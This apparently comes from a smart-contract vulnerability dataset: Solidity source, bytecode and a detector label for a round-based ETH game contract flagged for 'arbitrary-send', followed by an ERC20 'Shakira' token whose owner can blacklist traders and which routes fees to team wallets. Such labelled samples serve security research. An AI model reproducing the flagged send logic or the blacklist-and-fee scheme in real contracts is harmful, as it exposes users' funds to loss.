FlyToTheMoonEvents.onSecStage ( msg.sender, _rndNo, _ethUse, _now ); } } /** * @dev withdraws earnings by rndNo. * 0x528ce7de * 0x528ce7de0000000000000000000000000000000000000000000000000000000000000001 */ function withdrawByRndNo(uint256 _rndNo) onlyHuman() public { require(_rndNo <= rndNo, "You're running too fast"); uint256 _total = (((round_m[_rndNo].eth).mul(playerRound_m[_rndNo][msg.sender].keys)).mul(60) / ((round_m[_rndNo].keys).mul(100))); uint256 _withdrawed = playerRound_m[_rndNo][msg.sender].withdraw; require(_total > _withdrawed, "No need to withdraw"); uint256 _ethOut = _total.sub(_withdrawed); playerRound_m[_rndNo][msg.sender].withdraw = _total; msg.sender.transfer(_ethOut); // event emit FlyToTheMoonEvents.onWithdraw ( msg.sender, _rndNo, _ethOut, now ); } /** * @dev Award by rndNo. * 0x80ec35ff * 0x80ec35ff0000000000000000000000000000000000000000000000000000000000000001 */ function awardByRndNo(uint256 _rndNo) onlyHuman() public { require(_rndNo <= rndNo, "You're running too fast"); require(now > round_m[_rndNo].endTime, "Wait patiently"); require(round_m[_rndNo].leader == msg.sender, "The prize is not yours"); require(round_m[_rndNo].award == false, "Can't get prizes repeatedly"); uint256 _ethOut = ((round_m[_rndNo].eth).mul(35) / (100)); round_m[_rndNo].award = true; msg.sender.transfer(_ethOut); // event emit FlyToTheMoonEvents.onAward ( msg.sender, _rndNo, _ethOut, now ); } /** * @dev fee withdraw to owner, everyone can do it. * 0x6561e6ba */ function feeWithdraw() onlyHuman() public { uint256 _total = (totalEth.mul(5) / (100)); uint256 _withdrawed = ownerWithdraw; require(_total > _withdrawed, "No need to withdraw"); ownerWithdraw = _total; owner.transfer(_total.sub(_withdrawed)); } /** * @dev change owner. */ function changeOwner(address newOwner) onlyOwner() public { owner = newOwner; } /** * @dev returns all current round info needed for front end * 0x747dff42 * @return round id * @return total eth for round * @return total keys for round * @return time round started * @return time round ends * @return current leader * @return lastest price * @return current key price */ function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, address, uint256, uint256) { uint256 _rndNo = rndNo; return ( _rndNo, round_m[_rndNo].eth, round_m[_rndNo].keys, round_m[_rndNo].startTime, round_m[_rndNo].endTime, round_m[_rndNo].leader, round_m[_rndNo].lastPrice, getBuyPrice() ); } /** * @dev return the price buyer will pay for next 1 individual key during first stage. * 0x018a25e8 * @return price for next key bought (in wei format) */ function getBuyPrice() public view returns(uint256) { uint256 _rndNo = rndNo; uint256 _now = now; // start next round? if (_now > round_m[_rndNo].endTime) { return (75000000000000); } if (round_m[_rndNo].keys < 10000000000000000000000000) { return ((round_m[_rndNo].keys.add(1000000000000000000)).ethRec(1000000000000000000)); } //second stage return (0); } } library KeysCalc { using SafeMath for *; /** * @dev calculates number of keys received given X eth * @param _curEth current amount of eth in contract * @param _newEth eth being spent * @return amount of ticket purchased */ function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } /** * @dev calculates amount of eth received if you sold X keys * @param _curKeys current amount of keys that exist * @param _sellKeys amount of keys you wish to sell * @return amount of eth received */ function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } /** * @dev calculates how many keys would exist with given an amount of eth * @param _eth eth "in contract" * @return number of keys that would exist */ function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } /** * @dev calculates how much eth would be in contract given a number of keys * @param _keys number of keys "in contract" * @return eth that would exists */ function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error * - added sqrt * - added sq * - added pwr * - changed asserts to requires with error log outputs * - removed div, its useless */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
0x6080604052600436106100b95763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663018a25e8811461070c5780633c28308a146107335780633c3c9c23146107485780634311de8f1461075d578063528ce7de146107725780636561e6ba1461078c578063747dff42146107a15780637e8ac5901461080057806380ec35ff1461085b5780638da5cb5b14610873578063a05ce940146108a4578063a6f9dae1146108e6575b600080808080808033803b8015610108576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611421833981519152604482015290519081900360640190fd5b34633b9aca0081101561018b576040805160e560020a62461bcd02815260206004820152602160248201527f706f636b6574206c696e743a206e6f7420612076616c69642063757272656e6360448201527f7900000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b69152d02c7e14af68000008111156101ed576040805160e560020a62461bcd02815260206004820152600e60248201527f6e6f20766974616c696b2c206e6f000000000000000000000000000000000000604482015290519081900360640190fd5b600080548082526002602052604090912060030154349b50429a509098508a975089111561024e5761022688600163ffffffff61090716565b60008181558181526002602081905260409091209081018b905561a8c08b0160039091015597505b6000888152600260205260409020600101546a084595161401484a000000111561051157600088815260026020526040902054610291908b63ffffffff61096816565b6000898152600260205260409020600101549096506a084595161401484a000000906102c490889063ffffffff61090716565b1061039d576000888152600260205260409020600101546102f7906a084595161401484a0000009063ffffffff6109a116565b6000898152600260205260409020549096506901d02c8edfee423a000011610322576000965061034f565b60008881526002602052604090205461034c906901d02c8edfee423a00009063ffffffff6109a116565b96505b868a111561039957336108fc61036b8c8a63ffffffff6109a116565b6040518115909202916000818181858888f19350505050158015610393573d6000803e3d6000fd5b5061039d565b8996505b670de0b6b3a764000086106103e557600088815260026020526040902061a8c08a016003820155600401805473ffffffffffffffffffffffffffffffffffffffff1916331790555b600088815260036020908152604080832033845290915290206001015461041390879063ffffffff61090716565b60008981526003602090815260408083203384529091529020600181019190915554610440908890610907565b60008981526003602090815260408083203384528252808320939093558a825260029052206001015461047a90879063ffffffff61090716565b60008981526002602052604090206001810191909155546104a290889063ffffffff61090716565b6000898152600260205260409020556001546104c590889063ffffffff61090716565b60015560408051878152602081018990528082018b90529051899133917f34bcf67c3ef69ce65c0a8a1a121ab672129441005fea1eb1f65693816fad1d0e9181900360600190a3610700565b600088815260026020526040902060050154945061053d678ac7230489e800008663ffffffff61090716565b935061055767016345785d8a00008663ffffffff61090716565b8a10156105ae576040805160e560020a62461bcd02815260206004820152600f60248201527f4e656564206d6f72652045746865720000000000000000000000000000000000604482015290519081900360640190fd5b838a11156105f9579295508592336108fc6105cf8c8763ffffffff6109a116565b6040518115909202916000818181858888f193505050501580156105f7573d6000803e3d6000fd5b505b600088815260026020908152604080832061a8c08d0160038083019190915560048201805473ffffffffffffffffffffffffffffffffffffffff19163390811790915560059092018c9055835281842090845290915290205461066390889063ffffffff61090716565b60008981526003602090815260408083203384528252808320939093558a825260029052205461069a90889063ffffffff61090716565b6000898152600260205260409020556001546106bd90889063ffffffff61090716565b60015560408051888152602081018b905281518a9233927f267ac6ebc3d6b413782aeb4a2994e39edc25b4725f251588f7ffa8910337e4bf929081900390910190a35b50505050505050505050005b34801561071857600080fd5b50610721610a01565b60408051918252519081900360200190f35b34801561073f57600080fd5b50610721610a9d565b34801561075457600080fd5b50610721610aa3565b34801561076957600080fd5b50610721610aa9565b34801561077e57600080fd5b5061078a600435610aaf565b005b34801561079857600080fd5b5061078a610ce9565b3480156107ad57600080fd5b506107b6610e07565b6040805198895260208901979097528787019590955260608701939093526080860191909152600160a060020a031660a085015260c084015260e083015251908190036101000190f35b34801561080c57600080fd5b50610818600435610e73565b604080519788526020880196909652868601949094526060860192909252600160a060020a0316608085015260a0840152151560c0830152519081900360e00190f35b34801561086757600080fd5b5061078a600435610ebd565b34801561087f57600080fd5b50610888611161565b60408051600160a060020a039092168252519081900360200190f35b3480156108b057600080fd5b506108c8600435600160a060020a0360243516611170565b60408051938452602084019290925282820152519081900360600190f35b3480156108f257600080fd5b5061078a600160a060020a036004351661119c565b81810182811015610962576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820616464206661696c656400000000000000000000000000604482015290519081900360640190fd5b92915050565b600061099a6109768461122d565b61098e610989868663ffffffff61090716565b61122d565b9063ffffffff6109a116565b9392505050565b6000828211156109fb576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820737562206661696c656400000000000000000000000000604482015290519081900360640190fd5b50900390565b60008054808252600260205260408220600301544290811115610a2c576544364c5bb0009250610a98565b6000828152600260205260409020600101546a084595161401484a0000001115610a9357600082815260026020526040902060010154610a8c90670de0b6b3a764000090610a80908263ffffffff61090716565b9063ffffffff6112b116565b9250610a98565b600092505b505090565b60005481565b60015481565b60055481565b6000808033803b8015610afa576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611421833981519152604482015290519081900360640190fd5b600054861115610b54576040805160e560020a62461bcd02815260206004820152601760248201527f596f752772652072756e6e696e6720746f6f2066617374000000000000000000604482015290519081900360640190fd5b600086815260026020526040902060010154610b7790606463ffffffff6112d716565b60008781526003602090815260408083203384528252808320600101548a8452600290925290912054610bc291603c91610bb69163ffffffff6112d716565b9063ffffffff6112d716565b811515610bcb57fe5b600088815260036020908152604080832033845290915290206002015491900495509350838511610c46576040805160e560020a62461bcd02815260206004820152601360248201527f4e6f206e65656420746f20776974686472617700000000000000000000000000604482015290519081900360640190fd5b610c56858563ffffffff6109a116565b6000878152600360209081526040808320338085529252808320600201899055519295509185156108fc0291869190818181858888f19350505050158015610ca2573d6000803e3d6000fd5b50604080518481524260208201528151889233927f90ebb005d68efee044927e1e77e1fd0cecc508368aa72c39250a787eed5f0a70929081900390910190a3505050505050565b60008033803b8015610d33576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611421833981519152604482015290519081900360640190fd5b600154606490610d4a90600563ffffffff6112d716565b811515610d5357fe5b04935060055492508284111515610db4576040805160e560020a62461bcd02815260206004820152601360248201527f4e6f206e65656420746f20776974686472617700000000000000000000000000604482015290519081900360640190fd5b6005849055600454600160a060020a03166108fc610dd8868663ffffffff6109a116565b6040518115909202916000818181858888f19350505050158015610e00573d6000803e3d6000fd5b5050505050565b600080548082526002602081905260408320805460018201549282015460038301546004840154600590940154879687968796879687968796879686959394600160a060020a031690610e58610a01565b98509850985098509850985098509850509091929394959697565b6002602081905260009182526040909120805460018201549282015460038301546004840154600585015460069095015493959492939192600160a060020a039091169160ff1687565b600033803b8015610f06576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611421833981519152604482015290519081900360640190fd5b600054841115610f60576040805160e560020a62461bcd02815260206004820152601760248201527f596f752772652072756e6e696e6720746f6f2066617374000000000000000000604482015290519081900360640190fd5b6000848152600260205260409020600301544211610fc8576040805160e560020a62461bcd02815260206004820152600e60248201527f576169742070617469656e746c79000000000000000000000000000000000000604482015290519081900360640190fd5b600084815260026020526040902060040154600160a060020a03163314611039576040805160e560020a62461bcd02815260206004820152601660248201527f546865207072697a65206973206e6f7420796f75727300000000000000000000604482015290519081900360640190fd5b60008481526002602052604090206006015460ff16156110a3576040805160e560020a62461bcd02815260206004820152601b60248201527f43616e277420676574207072697a65732072657065617465646c790000000000604482015290519081900360640190fd5b6000848152600260205260409020546064906110c690602363ffffffff6112d716565b8115156110cf57fe5b600086815260026020526040808220600601805460ff1916600117905551929091049450339185156108fc0291869190818181858888f1935050505015801561111c573d6000803e3d6000fd5b50604080518481524260208201528151869233927f067aa1d7e7bd2c0daf878a68551cbd9e1a4dbaaa1510600154c71bffbe420d86929081900390910190a350505050565b600454600160a060020a031681565b600360209081526000928352604080842090915290825290208054600182015460029092015490919083565b600454600160a060020a031633146111fe576040805160e560020a62461bcd02815260206004820152601460248201527f6f6e6c79206f776e65722063616e20646f206974000000000000000000000000604482015290519081900360640190fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60006309502f906112a16d03b2a1d15167e7c5699bfde0000061098e61129c7a0dac7055469777a6122ee4310dd6c14410500f29048400000000006112906b01027e72f1f1281308800000610bb68a670de0b6b3a764000063ffffffff6112d716565b9063ffffffff61090716565b61134e565b8115156112aa57fe5b0492915050565b600061099a6112ce6112c9858563ffffffff6109a116565b6113a7565b61098e856113a7565b60008215156112e857506000610962565b508181028183828115156112f857fe5b0414610962576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d617468206d756c206661696c656400000000000000000000000000604482015290519081900360640190fd5b600080600261135e846001610907565b81151561136757fe5b0490508291505b818110156113a1578091506002611390828581151561138957fe5b0483610907565b81151561139957fe5b04905061136e565b50919050565b60006113ba670de0b6b3a7640000611414565b6112a160026113ed6113da86670de0b6b3a764000063ffffffff6112d716565b65886c8f6730709063ffffffff6112d716565b8115156113f657fe5b0461129061140386611414565b6304a817c89063ffffffff6112d716565b600061096282836112d75600736f7272792068756d616e73206f6e6c79000000000000000000000000000000a165627a7a72305820100789bf720508abf4f6fd9ed36b7f1011f81d0834cdb0f20bcb7a9237785d790029
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
442
0xaa417951d8cdc924f92d62a27e9f7fd2aa64bc8d
/** */ /** /** //SPDX-License-Identifier: UNLICENSED Telegram: https://t.me/ShakiraPortal Website: https://shakira.info Twitter: https://twitter.com/Shakira_info */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Shakira is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Shakira"; string private constant _symbol = "Shakira"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x0219b8b658A015a9a2bCAb7b7E9EE6a2357DDbB4); _feeAddrWallet2 = payable(0xc39768C8c94542D858a18C35B4493E42F936290C); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(this), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 11; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = 11; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 20000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610296578063b515566a146102b6578063c3c8cd80146102d6578063c9567bf9146102eb578063dd62ed3e1461030057600080fd5b806370a0823114610239578063715018a6146102595780638da5cb5b1461026e57806395d89b411461010e57600080fd5b8063273123b7116100d1578063273123b7146101c6578063313ce567146101e85780635932ead1146102045780636fc3eaec1461022457600080fd5b806306fdde031461010e578063095ea7b31461014d57806318160ddd1461017d57806323b872dd146101a657600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201825260078152665368616b69726160c81b602082015290516101449190611793565b60405180910390f35b34801561015957600080fd5b5061016d610168366004611633565b610346565b6040519015158152602001610144565b34801561018957600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610144565b3480156101b257600080fd5b5061016d6101c13660046115f2565b61035d565b3480156101d257600080fd5b506101e66101e136600461157f565b6103c6565b005b3480156101f457600080fd5b5060405160098152602001610144565b34801561021057600080fd5b506101e661021f36600461172b565b61041a565b34801561023057600080fd5b506101e6610462565b34801561024557600080fd5b5061019861025436600461157f565b61048f565b34801561026557600080fd5b506101e66104b1565b34801561027a57600080fd5b506000546040516001600160a01b039091168152602001610144565b3480156102a257600080fd5b5061016d6102b1366004611633565b610525565b3480156102c257600080fd5b506101e66102d136600461165f565b610532565b3480156102e257600080fd5b506101e66105c8565b3480156102f757600080fd5b506101e66105fe565b34801561030c57600080fd5b5061019861031b3660046115b9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103533384846109c7565b5060015b92915050565b600061036a848484610aeb565b6103bc84336103b78560405180606001604052806028815260200161197f602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e36565b6109c7565b5060019392505050565b6000546001600160a01b031633146103f95760405162461bcd60e51b81526004016103f0906117e8565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104445760405162461bcd60e51b81526004016103f0906117e8565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461048257600080fd5b4761048c81610e70565b50565b6001600160a01b03811660009081526002602052604081205461035790610ef5565b6000546001600160a01b031633146104db5760405162461bcd60e51b81526004016103f0906117e8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610353338484610aeb565b6000546001600160a01b0316331461055c5760405162461bcd60e51b81526004016103f0906117e8565b60005b81518110156105c4576001600660008484815181106105805761058061192f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105bc816118fe565b91505061055f565b5050565b600c546001600160a01b0316336001600160a01b0316146105e857600080fd5b60006105f33061048f565b905061048c81610f79565b6000546001600160a01b031633146106285760405162461bcd60e51b81526004016103f0906117e8565b600f54600160a01b900460ff16156106825760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f0565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106c230826b033b2e3c9fd0803ce80000006109c7565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106fb57600080fd5b505afa15801561070f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610733919061159c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561077b57600080fd5b505afa15801561078f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b3919061159c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107fb57600080fd5b505af115801561080f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610833919061159c565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108638161048f565b6000806108786000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108db57600080fd5b505af11580156108ef573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109149190611765565b5050600f80546a108b2a2c2802909400000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561098f57600080fd5b505af11580156109a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c49190611748565b6001600160a01b038316610a295760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f0565b6001600160a01b038216610a8a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f0565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b4f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f0565b6001600160a01b038216610bb15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f0565b60008111610c135760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f0565b6001600a55600b80556000546001600160a01b03848116911614801590610c4857506000546001600160a01b03838116911614155b15610e26576001600160a01b03831660009081526006602052604090205460ff16158015610c8f57506001600160a01b03821660009081526006602052604090205460ff16155b610c9857600080fd5b600f546001600160a01b038481169116148015610cc35750600e546001600160a01b03838116911614155b8015610ce857506001600160a01b03821660009081526005602052604090205460ff16155b8015610cfd5750600f54600160b81b900460ff165b15610d5a57601054811115610d1157600080fd5b6001600160a01b0382166000908152600760205260409020544211610d3557600080fd5b610d4042603c6118